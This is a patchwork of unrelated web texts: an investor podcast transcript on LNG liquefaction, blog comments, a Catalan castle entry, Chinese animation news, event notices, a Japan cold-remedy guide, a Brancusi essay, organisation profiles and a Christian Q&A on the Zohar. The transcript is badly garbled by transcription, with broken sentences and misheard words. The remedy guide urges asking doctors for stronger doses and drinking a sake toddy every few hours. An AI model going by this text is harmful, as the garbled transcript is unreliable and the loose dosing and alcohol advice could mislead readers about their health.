The Board this summer and I said we, would own the entire risker, for for liquefaction on. A trading basis, risk of meaning. From. Very speculative, to survey, of projects that have a backwater, which is probably. Going to be capitalized, and delivered over time if I if I look at shittier. As being. The. Kind. Of the investment great option in a space right I'm, glad to say. If, I look at them being at the front of the curve um and just in terms of costs Capital basis and towards the you know as you move back you get the second wave projects you get companies like goal are I think, that there's systems there's enough positive, momentum that. We don't yet have to pick a winner I think that eventually will need to get there but until we do yeah, the. Track record in the history of the space suggests, it you know we're using 35%, for phases one for, phase ones and and and 15 35 percent probability probability weighting, okay now and, 15 percent for for any second phases which, I actually tend to think is pretty generous and pretty pretty reasonable, okay and then you know we can adjust that as we, see real commercial progress, certainly that would be the most direct answer to your question as I start to see you. Know real progress on that front then we, absolutely would and that's kind of the the decision, we've made we didn't want to just dive in and say, we, liked this project for no particular, reason over, the rest you, know we'll treat everybody fairly, and you know it's kind of a ShowMe story which i think is pretty fair and obviously. I mean the upside associated, with you know a successful. Like a blue sky scenario, for for you all er or a. Number of others yeah, is. Significant. Right so I would say that it's certainly not. If. It looks like that's the direction a project is heading and I think we'll have plenty of incremental. Indicators, that you're making you know you're getting close then. Not. A trade we want to be on the wrong side of that can get and go against you so it sounds like two things either there'll, be a rear aiding for a lot of these equities, and you're at least in the public space once you get the event or the news coming up or, you're gonna need some rereading within, the commodity, world or the expectations. And the demand for gas. Demand, is that the right way to think about it yeah I think it's just I think the low probability weightings, and I would say across the board yeah, it's a reflection of how difficult, well you what everyone is trying to do right it's just really tough to do it really I mean it really there's there's, a reason why you, know it's only been pulled off once in the US right, it really today I mean there are some of the projects that are coming up now but you know and and you. Know. You. Guys had a lot to do that I think that I think that the. It's just difficult so I think we wanted to be respectful, of that in. Terms of a rereading. You. Know I think unfortunately. It's not a rising tide is gonna lift all boats for a while okay, for a while but I'm if, you look across all the second way projects not everybody's, getting done right right, so we, almost when, we looked at these almost looked at it with the lens of whether there was a third option and I actually think you'll see a lot of maybe, not a lot you'll see some meaningful M&A at some point where. Someone. Will make enough progress that they're viable, there's. Certainly value there, but the hurdles are so high that there's gonna be a lot of street value in some of these platforms so, and, again that's that's, a question they'll be answered in you, know a couple of years right does. This stage of where we are in the liquefaction, cycle, remind you of any of the, other sectors that you've covered on, the crude side LPG, is are, there any. Analogies. Or references. That you can make esters, or just a general audience to think about parallels, in terms of where you are the lifecycle terms. Of development, cycle I think it's I mean it's it's it's still very very early I think when across the entirety, of the LNG supply, chain I think, see.
If I started the bike if I start downstream, recast there's a lot of oversupply there a lot, of low-hanging fruit, in terms of we're replacing gas, in emerging market has been picked and now if. You're gonna place incremental. Gas in an emerging market it's gonna be more challenging you go to you know you're going to pull together multiple, countries you're this just takes, four or five years as opposed to parking a third F s are you in. Egypt or Jordan, midstream. I think there's a pretty. Healthy two or three year window here where we're gonna be under supply from a tonnage perspective, I, think the returns they're certainly more limited than what you guys are looking at I think the upside there's no. Other space that I've covered has the amount of upside that I think you can see and look. With action space in the second wave right and, with that upside comes risk and I heard sure, that. Makes sense the moat it's it's funny you know the lot, of the the commodity, oriented, shipping names right around the time that China joined the WTO when. They started this multi-year run and it, was I mean, close, to one parallel in. You know the preceding decades, it. Feels they may be a bit like that except. The counterparties, are just firmer when the companies are just better right, the, you know the governance is firmer or just seems. There's. So much white space in, LNG and that's one of the reasons why I spend so much time on it that you know Ellen G's a marine fuel we thought you know placing gas and you know somewhere like the Caribbean over there bill are burning heavy fuel oil eventually, eventually. There's gonna be necessity when. Ultimately, went craters and it being long enough gas and there's an incentive to get, more creative and more to place it that, there's, globally. There's more white space in LNG than any market I cover. We. Appreciate. That on that note thanks. Again Mike and the team at Wells Fargo they, do great work once. It's, a tellurian. Here and we'll see you next time. You.
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Sit with me at the feet of Jesus receiving His life flow. Receiving His words, wisdom, strength and plans for you. In that you and I are ready to meet each day and make it glorious!
Okay so I want to know… If you were going to take any vacation in the world where would you go and why? Tell me in the comment section. I would have to say, America believe it or not!!! My mom would be happy with that answer! Lol I'm ready to see family and friends and do some fun amusement park stuff with the kids. Things we don't have here in Africa.
This is so good and so true Rachel! When we live in vacatiom mode, always just trying to find time to play, we miss out on experiencing God in the non-vacation times and we will always have this unsatisfied feeling in our heart, because we're not content with where we're at. But when we live with purpose and set our gaze on Jesus and choose to enjoy the run, every day becomes a true vacation in him and his grace! Love you guys!!
Yes Rebekah, you are exactly right girl! It's the everyday with Jesus that is truly amazing!!!
Such wisdom from one so young.
Well thank you Nancy, I'll take all the wisdom I can get!
Oh my gosh! I saw your testimony on Believers Voice of Victory and God grabbed a hold of me and hasn't let go. I looked you up and found this site and have been reading your blog's and I get more stired up with each one. I don't know yet what His plan is for our family but it's so big inside me I can't stand it!!! Thank you so much! I'm so excited to find out what it is and can't wait.
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El Castellet de l'Ocaive o Castell d'Olocaiba (Al-Uqayba) diminutiu d'uqab (en àrab عُقاب ), que significa altura, lloc elevat i per assimilació, també àguila. És originalment una torre de guaita d'origen musulmà, d'època post-califal, emplaçada al final de la ruta que va des de l'interior, Cocentaina, fins al port de Dénia. Està sota la protecció de la Declaració genèrica del Decret de 22 d'abril de 1949, i la Llei 16/1985 sobre el Patrimoni Històric Espanyol. En 2016 la Secretaria d'Estat de Cultura, a través de la Direcció General de Belles Arts i Béns Culturals i d'Arxius i Biblioteques, feu la inscripció del castell de l'Ocaive al Registre General de Béns d'Interés Cultural (BIC) amb el codi d'identificació 17829.

Història
Segurament fou construït per a formar part d'una espècie de corona defensiva al voltant del Castell de Dénia, al qual històricament es troba unit, junt amb els castells de Segària, Laguar, Pop, Xaló, Calp i Polop. Originalment degué ser una torre exempta, possiblement després, un poc abans de la reconquesta, es convertia en fortalesa per a guarir la població de les alqueries que l'envoltaven, i que eren part del seu territori castral d'un atac de les tropes cristianes.

Es troba en un espectacular emplaçament rocós al sud-oest de la població de Pedreguer, en l'anomenada Muntanya Gran en direcció a la Llosa de Camatxo. Originalment va ser una alqueria musulmana, després de la Reconquesta, en 1244, la propietat del castell i l'alqueria d'Ocaive pertanyia a l'Almirall En Pere Ximén Carroç, qui en 1249 la va donar a Andrés i Albero Flix. En 1260 passa junt amb l'alqueria a Sancho Ruiz de Corella. Més tard, en 1271, va passar a Pere Rodríguez de Corella, després als Pujadas, els comtes d'Anna i finalment als de Cervelló. Durant la Guerra de les Germanies va ser escenari de diferents accions d'armes. Després de l'expulsió dels moriscs en 1609, va haver de ser repoblada amb cristians, vinguts sobretot de les Illes Balears i València.

Conserva les restes de la torre de l'homenatge i alguns llenços de muralla, i en un pla més baix un aljub. Probablement va ser abandonat en dates primerenques després de la Reconquesta, ja que deixa d'aparéixer ressenyat en tota la documentació històrica.

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Pedreguer
Castells de la Marina Alta
Monuments d'interés cultural de la Marina Alta


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China's Joy Pictures Announces Two New Animated Films at Cannes
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China's Joy Pictures is selling 10 Chinese titles at the Cannes market this year, including two of its own animated features scheduled for summer 2022.
The shingle, which began as a marketer and distributor best-known in its early days for bringing "La La Land" to China, has recently shifted its focus to the production and sale of animation.
"The Legend of Hei," which it co-financed, grossed $45 million in China last September and screened at Annecy in earlier this month. A sequel is currently in script stage.
When it comes to production, the Joy is still finding its stride. Four animated titles announced in November at the American Film Market have had their expected release dates pushed back due to COVID-19, which delayed production.
Meanwhile, it is announcing two new titles. "The King of Fighters: Awaken" is a 3D feature-length adaptation of Japanese firm SNK's popular fighting game "King of Fighters." An English-language live-action film based on the game was released direct-to-DVD in 2010.
Joy Pictures is partnering with Jiangsu-based firm Original Force and iDragon Creative Studio on the film, in which two main characters from the popular game seek to save a newly introduced character — a young boy — from an evil god.
A second title, "Candy," is a more family-oriented, fantasy stop-motion film being made in collaboration with Hangzhou-based studio Steamworks. It tells the story of a young girl who enjoys making sweets. She falls deathly ill and ends up becoming friends with a hapless goblin who is sent to collect her soul.
At Cannes, Joy is also selling two children's titles from Jiangxi Kaitian Cartoon and two Chinese arthouse films: Yang Heng's 2017 Berlin Panorama title "Ghost in the Mountains," and "Summer Can Wait," the first feature from director Fei Yuzhu, which tells the story of a young Chinese ballerina living abroad in London.


The Kettles are in Paris along with their daughter-in-law's parents the Parkers. Pa tries to buy racy postcards. He also gets in big trouble when he is given a letter to deliver to Adolph Wade, a spy who gets killed by spies Inez and Cyrus Kraft.


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Swedish House Mafia Columbia Records and new Management
After such a long break Swedish House Mafia came back last year for Ultra Music Festival and are now back with a new record deal and have signed with Columbia Records after reports of a bidding war with Republic Records.
The trio have also announced that they are moving forward and will be represented by Ron Lafitte of Patriot Management alongside Backstreet Boys, Phareell Williams, One Republic and many more http://www.patriotmanagement.com/
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From fast flowy trail to racing, this is as old as mountain biking itself. Short track, XC racing, marathon races, and 24 hour races all fit under this massive umbrella. The legends of this discipline are hallowed immortals like Ned Overend and Allison Dunlap, and upcoming superstars like Rebecca Rusch and Jaroslav Kulhavy. We flock to events where we get to rub shoulders with the best in the sport. We test our mettle against our foes: terrain and distance, nature- ours and Mother's. We compete to celebrate our PR's, our team-mates victories, or just cracking off one more lap than we thought we could. Cross-country racing is communal and competitive, nurturing and nasty; it shows us the best in us by asking to persevere through some of our worst.


5 GST Seminars for the month of November 2014 will be jointly organized by Kenyalang Youth Club and SUPP in collaboration with SMA and other Associations. The seminars will be held in Kuching, Sibu and Sarikei. The seminars will be conducted in Mandarin and English by Government Officers to provide GST information to participants.
The seminars are provided Free-of-Charge to the public. As seating capacity is limited, all interested parties must register in advance. We encourage members of the public to take the opportunity to attend the awareness sessions to understand about the GST, how it works and how does it affect consumers and businesses.
Of the 5 awareness seminars, we urge anyone who is running a business or is in a business preparing for the GST to attend the sessions on 18th or 19th where the government officers are well equipped to address GST questions on application of the law to technical or transactions related matters. The other 3 sessions providing awareness are good information sessions to be attended by the public and community to gain knowledge on the GST.


Over the years in Japan, I have discovered a range of both folk and modern remedies here to keep colds in check.
We are now into February, widely regarded by many as the coldest time of year in Japan. Indeed, I've found myself turning the heat up on the air conditioning a bit more in the last couple of weeks. My recent trip up to Tokyo was a bit of a shock to the system. I don't remember the place ever being so cold!
Luckily, I've managed to keep the cold and flu symptoms at bay once again this year. Of course, getting a flu vaccination helps and may be something to consider.
Typically, you'll need to arrange this yourself. Though I have heard of isolated cases where companies will arrange them for staff, in most Japanese workplaces vaccinations are not part of the annual health check. However, your local doctor can do this easily and it only costs a couple of thousand yen. It seems to work well, as I haven't developed a full blown flu for more than five years since I started getting them.
However, flu is only part of the problem. A more persistent — and in my opinion more troublesome — issue is the runny nose, congestion, cough and headaches that seem to be an almost inevitability at this time of year.
Over the years in Japan, I have discovered a range of remedies to keep colds in check. Of course, your first port of call should be the local clinic and barring that, a good pharmacy. Here are some no-prescription-needed remedies you may want to consider if you're suffering from any of the symptoms above and you can't afford an extended absence at work.
Easily recognized by its familiar orange labeling and the its oversized smiling capsule-shaped mascot, Contac is designed to treat the most common symptoms of winter colds and flu such as headaches, congestion, sore throat, runny nose and the like.
Contac also contains caffeine, making it a favorite for people struggling just to get through the working day before resting and recovering at home.
If you're a larger individual like me, or you find that Japanese medicines just don't work as well for you as they should, then you may want to go for an upgrade with Contac EX, which includes an extra shot of ibuprofen to improve pain relief and reduce inflammation more quickly.
One of the strongest cold and flu relief medications available without prescription in Japan, Precol also has the added benefit of providing sustained relief over an extended period of time.
However, given its higher dosages, it's important not to mix it with other similar medications. This medicine is not recommended for anyone under the age of 15. The packaging is a distinctive blue and silver with a red and orange circle in the center.
Symptoms it helps: Headache, congestion, cough and sore throat.
OK, look past the comedy name on this one. This is a highly effective cold and flu remedy, which as well as combating the classic symptoms of runny nose, headache, cough and so on, also helps to relieve the body aches and pains that are commonly associated with a bout of flu. With its striking purple and white packaging, Stona Gel Science is easy to spot in your local pharmacy.
Symptoms it helps: Runny nose, headache, cough, etc.
If all else fails — get thee to a clinic!
Of course, if things get worse and you find the medicines listed above aren't working so well for you, then it may be time to consider a visit to the doctor.
If you visit a clinic, there are a few important points to consider.
Vitamin supplements are another way to take in lots of these since fresh fruits can sometimes be prohibitively expensive in Japan, especially when they're out of season.
First of all, make sure that you explain the symptoms clearly to the doctor. If necessary, bring along a friend who speaks Japanese fluently or search around for an English-speaking doctor. My physician here in Osaka is multilingual and, to be honest, even though my Japanese is at the level where I can explain my symptoms quite easily, when it comes to matters medical or legal, I still prefer to use English for my own peace of mind.
Also, don't be shy in asking for a stronger dosage — if necessary. I have, on occasion, been given medicines that I discovered did not have the desired effect. In such cases, most doctors will be open to a request for a stronger medication. Mine usually gives me a choice between generic (local brand) medications or foreign medications (more expensive but geared toward bigger, Western body types).
The costs of visits are supported by the national health insurance plan, so provided you are registered, you will only pay 30 percent of the fee. Of course it can vary but for this kind of ailment, all in, including the consultation and the medicines, I have never paid more than about ¥3,000 or ¥4,000.
It is often said that prevention is better than cure. The Japanese also buy into this philosophy. Over the years, my Japanese friends have educated me on a number of practical and traditional ways to keep colds at bay and to head off the worst of the symptoms before they get too out of control.
A good traditional Japanese hot pot is guaranteed to warm even the coldest heart on a frosty, winter night. However, the benefits go well beyond this. A conventional nabe contains a lot of vegetables, tofu and meat (or seafood). These provide excellent sources of vitamins, protein and minerals — all of which naturally strengthen the immune system to fight off colds at this time of year.
Back in Scotland, my mother would often make me a hot toddy, a drink that helps to fight off the winter weariness. However, my mother's traditional recipe used Scottish whisky and golden syrup, both of which can be a bit expensive to come by in Japan.
One of my Japanese friends proposed the following Japanese version, which works just as well.
Take a normal sized coffee mug, add in one tablespoon of sugar, 20 milliliters of yuzu (Japanese citrus) juice, and one small cup of nihonshu (sake). Stir. Next, add in a large spoonful of orange marmalade or yuzu jam (if you can find it). Top up the cup with hot water, stir well and drink immediately.
Repeat this every four to six hours and in a day or two you should be feeling much better. Of course, it goes without saying: Don't drink and drive — or imbibe at work!
You can use shochu (Japanese distilled spirits) in this recipe too, but personally I find the sake version more palatable and also less potent in alcohol terms.
I mentioned yuzu as a possible ingredient for a good toddy, but this is just one of several citrus fruits readily available in Japan. The vitamin C they provide is an excellent way to head off a cold before it can completely take hold.
Vitamin supplements are another way to take in lots of these since fresh fruits can sometimes be prohibitively expensive in Japan, especially when they're out of season. Local pharmacies sell 1,000 milligram vitamin C tablets. Taking these as soon as you start to feel the initial signs of a cold can help prevent the worst of it before it happens.
Be sure to take care this winter and stay warm. Also, if you work at a school or somewhere where you come into contact with lots of different people every day, be sure to wash your hands regularly, use hand sanitizer and wear a face mask if you start to show symptoms of a cold.
This may not be a popular thing to say in Japan, but for your own sake, if you do get sick — take some time off to recover!
Do you have any special remedies or tips for dealing withcold or flu symptoms in Japan? Let us know in the comments.
Northern Gifu has much to offer in winter. Let Satoyama Experience guide you through the streets and hills of Hida-Furukawa in this winter wonderland.
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Constantin Brâncuși
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Mademoiselle Pogany
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The smooth lines of the bronze sculpture - Mademoiselle Pogany II - are typical of the graceful and restrained style of Constantin Brancusi. Brancusi developed his style after decades of study in art schools and workshops in his home country of Romania, and then later in Paris.
However, Brancusi's love of sculpture started at a much earlier age as a child in Romania where he demonstrated skills and a keen interest in woodcarving, creating a variety of tools and wood sculptures. Brancusi's distinctive style was first honed in the early 1900's after he left the workshop of Rodin and started to develop his modernist technique.
Brancusi strove to depict the idea or essence of things and not their literal form, and this is fully demonstrated in Mademoiselle Pogeny II. The sculpture was created in 1920 and is based on the landscape painter Margit Pogany who had requested the portrait after visiting Brancusi's studio. Pogany sat for Constantin Brancusi on several occasions, and the artwork was completed at a later date after the artist had first cast it in marble before making a later bronze sculpture. By reducing his subject's face to simple lines the sculptor somehow manages to emphasise the features of the Hungarian painter. This can be seen in the almond-shaped eyes, the lines of the nose and the sophisticated chignon, as well as the delicate suggestion of hands resting against her chin.
As well as the modernist style of his time, Brancusi also made reference to the older, mannerist style of art in his creations, whereby the subject is often shown as elongated or distorted but yet retains an elegance. Although Brancusi admired his mentor Rodin it was not until he left his tutelage that he felt he could fully express himself out of the shadow of the renowned sculptor. His work after this time begins to take on the distinctive look of works such as Mademoiselle Pogeny II and other art that simplified forms to basic or geometrical objects. Brancusi's work was also strongly influenced by his childhood near the Carpathian mountains and the deeply ingrained folklore of the region.
In capturing the beauty of the female artist as shown in Mademoiselle Pogany II, Brancusi has created a very aesthetical experience for the viewer in the sweep of the head and the soft curves of the sculpture. In keeping with his quest to capture the essence of a subject he has perfectly captured the features and grace of the sitter, and the whole effect is enhanced by the warm glow of the bronze medium.
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Hello. I'm international student from Taiwan. I'd like to let you guys know why most Japanese people misunderstand that Ramen is Chinese foods.
'cause Ramen is explained as Chinese noodles in English, most of us tend to think it is made in China.
Please Japanese teens be proud of your own food culture.
We Taiwanese love you more than Koreans.
Thanks, and this website is awesome for English learners.
I haven't been back to England for a while, so I didn't know that. Thanks for letting everybody know.


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Soulforce is a U.S.-based social justice organization that works to end the religious and political oppression of lesbian, gay, bisexual, transgender, queer, and intersex (LGBTQI) people. The organization's co-executive directors are Alba Onofrio and Yaz Mendez Nuñez.

History
It was founded in 1998 by Gary Nixon and his husband Mel White, who was a ghostwriter for Jerry Falwell, Billy Graham, Pat Robertson, and others until he came out as a gay man.

Programs

Equality Ride

Since 2006, Soulforce has supported a project called the Equality Ride. Led by young adults, it targets Christian colleges. In 2007 it was divided into two different trips (eastern and western), each leg visiting 15-20 different colleges. Other rides were launched in 2008, 2010, 2012, 2014, and 2016.

GiveBackIX

Right to Serve Campaign
In 2006 Soulforce organized the Right to Serve Campaign, the first nationally organized youth effort to bring attention to the "don't ask, don't tell" policy of the United States Armed Forces. Youth in 30 cities across the country were recruited to organize events in which openly lesbian, gay and bisexual youth attempted to enlist in the United States Armed Forces while stating their sexual orientation. Headed by Jacob Reitan and Haven Herrin, it took place in 30 cities from late summer and fall of 2006.

In May, in Roseville, a suburb of Minneapolis, two men and a woman tried to enlist in the Minnesota National Guard. One application was rejected immediately and the others put on hold. On August 30, in Madison, Wisconsin, an Army recruiter turned away three men, one a college graduate and the others college students. One of them said: "We're not here as a publicity stunt. I want to serve alongside my fellow Americans. That's why we're here." Two men turned away by recruiters in Chicago on September 12, 2006, returned the next day and staged a sit-in. A University of Maryland sophomore was turned away when she tried to enlist on September 26. Other events, some including arrests, occurred in New York; Austin, Texas; and Greensboro, North Carolina. In New York City, the recruitment center was closed, but the Right to Serve protesters staged a seven-hour sit-in.

See also

LGBT-welcoming church programs

References

External links

Nonviolence organizations based in the United States
LGBT political advocacy groups in the United States
Don't ask, don't tell


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Although the next few weeks will be busy for me with graduation parties and weddings, these are typically private events. For those of you considering hiring me, summertime is a great opportunity to come out and meet me and see me in action!
I've got a July 4 homeowners association BBQ lined up, so if you're lucky enough to live in our neighborhood, I'll see you there! Beyond that, I'm booked for 2 of the upcoming street festivals in downtown Danville - the first is on July 10 (with a pirate theme), followed by one on August 7 (with a wild west theme). Please note that these are Thursday evenings. There's also the possibility that I might see you at one of the area car shows ~ and Danville's event schedule goes well into Autumn, so keep checking back here!
Very informative article, keep writing and improving with the content and yes even I agree with the fact mentioned. The content is really nice, hope it serves the purpose to guide the people to the right path.
Wine and Chocolate? I'll be there!


After completing a degree in German studies and history, Nora worked as an academic assistantat the Hamburger Arbeitsstelle für deutsche Exilliteratur, a research institute. Then, after severalyears as special projects manager at media group Bertelsmann, she produced customermagazines and various other specialty material for industrial firms and media companies asmanaging director of public agenda, a press agency. As senior editor and chief editor she was responsible for a variety of trade magazines serving the German communications, printing and media industries.
Hobbies: horseback riding, reading, languages, animals.
Martin Hirschmann joined the editorial staff of C2 in September 2013. Martin studied American Culture and Romance languages at the University of Erlangen and Nuremberg. During his studies, he worked for the campus radio "Bitexpress" at the Fraunhofer Institute (IIS) in Erlangen as reporter and presenter. He also participated in a trainee programme as a travel journalist in Scotland. After an internship at Radio Antenne Bayern he became junior editor at C2.
After studying journalism and economic history, Franz began his career as a writer for Stern, a political weekly, and editor at Heinrich-Bauer-Verlag, a publisher, before working at various radioand television broadcasters. After several years as PR and advertising manager for printing, packaging and print finishing companies, the long-time vice president of the DPRG (German PRAssociation) was chief editor and managing editor for numerous trade journals put out by theVerlag für die Deutsche Wirtschaft AG. Franz made a name for himselfin the trade show arena as International Converting Exhibition (ICE) sales manager.
Hobbies: horseback riding, travelling, diving, football.
The half-Italian Austrian national followed up an office administration apprenticeship by completing an academic management trainer programme. She was then engaged for several years as aproject manager and PC trainer, conducting instruction sessions as an external consultant for numerous companies. Thereafter, she worked as a forwarding agent for various internationally active firms. Her experience in marketing, sales and distribution-related consulting make Nina theideal contact for our advertisers.
Hobbies: horseback riding, travelling, reading, Italy A-Z.


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We want you to meet Justin Gravitt, a leader of Navigators Church Ministries.
We want to help you find the best disciple-making guides, and that's why we're continuing to introduce these partners to you.
Here's what Justin said about his ministry in our interview with him:
Navigators Church Ministries is a mission of The Navigators, which began as a ministry to the Navy in 1933. For the past fifty years, we've intentionally helped pastors and church leaders with disciple-making.
In early church times, "the disciples were increasing in numbers by leaps and bounds" (Acts 6:1, MSG). It's still happening today—through Navigators Church Ministries (among others).
We come alongside pastors, church leaders, and everyday disciple makers to develop generations of disciples in everyday life—where they live, work, study, or worship.
In a nutshell, we're a national team of several hundred people who serve as "boots on the ground." We come alongside pastors, church leaders, and passionate disciple makers to accomplish our vision: Growing disciple makers and disciple-making cultures through churches everywhere to impact neighborhoods, communities, and all nations. We do this through three essential ministry thrusts, all in the context of life-to-life resourcing:
Growing Intentional Disciple-Making Cultures — We help pastors and church leaders move from a ministry of the few to the heart of a church's culture.
Life & Leadership Coaching — Certified Coaches help leaders and laborers focus on the "Core 4" of a Life Plan, Ministry Vision, Ministry Plan, and Priority Management.
Everyday Disciple Makers — In the spirit of Jesus' compassionate call to pray for "laborers in the harvest," we help equip and launch everyday people for exponential Kingdom impact.
Walking alongside everyday men and women is part of our DNA. Our founder was an everyday disciple maker who went out and made disciples in the natural movement of his life. Since then we've been passing on to others what has been entrusted to us. We are disciples who make disciples. But it wasn't our idea, this is clearly evident in Paul's disciple-making, as he reflects to his young protege Timothy: "and what you have heard from me in the presence of many witnesses entrust to faithful men who will be able to teach others also" (2 Timothy 2:2).
Navigators Church Ministries will be at the National Disciple Making Forum this November. Learn from them in person and get your leaders' tickets here.
We help everyday disciple makers make disciples, one-to-one, one-to-two, or one-to-three. We invest in churches, helping them grow disciple-making cultures that don't stay within church walls. We help churches send everyday disciple makers into their neighborhoods, workplaces, and families to advance the gospel for Jesus' sake.
We have developed proven resources for use in those contexts such as the 2:7 Series and the more recently published The Ways of the Alongsider.
We also have a free assessment that helps you see where you in becoming a disciple maker. This assessment helps you understand five critical characteristics of disciple makers and what your best next steps are for growth and reproduction.
Dane Allphin, national director for Navigators Church Ministries. A pastor for over 30 years. His leadership has grown our work in both depth and breadth.
Justin Gravitt, a former overseas missionary, has developed disciple-making cultures for twenty years. He has led the way in networking local disciple-making churches toward a movement.
Bill Mowry, author of The Ways of the Alongsider, and resident "questioner-in-chief". His perspective drives us forward in fresh and relevant disciple-making.
Visit our website www.navigatorchurchministries.com to connect to staff in your area and to disciple-making resources aimed at pastors and church leaders.
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Question: "What is the Zohar?"
Answer: The Zohar is a commentary on the Hebrew Scriptures and the primary source of the beliefs of Kabbalah, a mystical form of Judaism. According to Kabbalah, this text was written in the 2nd century AD by Shimon bar Yochai. Supposedly, bar Yochai was inspired by visions from the angel Gabriel to record secret, powerful knowledge about interpreting the Torah. Unlike other Jewish commentaries on the Torah, known as the Mishnah or Midrash, the Zohar is heavily mystical and borders on an occult- or witchcraft-based approach to spirituality. Kabbalists believe that Jewish leadership during the Roman era considered such knowledge to be too powerful for the common man, and so they suppressed it.
According to the Zohar, God's message in the Torah is meant to be understood at four levels: literal, allegorical, Rabbinic, and secretive. In other words, the more powerful and truthful purpose of the Torah is only accessible to those with special knowledge and insight, per Kabbalah. This places the Zohar and Kabbalah firmly in the sphere of Gnosticism and mysticism.
The text of the Zohar was unknown until first published in the 13th century by Moses de León. De León claimed the writings to be traditions passed down from Shimon bar Yochai many centuries before. However, most modern scholars, Jewish and otherwise, believe that de León himself actually composed the Zohar's content. De León's publication came from a place and era when Gnostic concepts were in fashion. Also, no mention is made of the Zohar or its contents in any midrash known prior to de León's publication of the Zohar.
Mainstream Christianity considers the Zohar and Kabbalah to be false teachings in the same vein as other Gnostic and mystical cults. The same is true of all major sects of mainstream Judaism, although some Jewish scholars see the Zohar as useful for gaining insight into Jewish thinking, and some use the Zohar to provide additional opinions on the meaning of the Torah.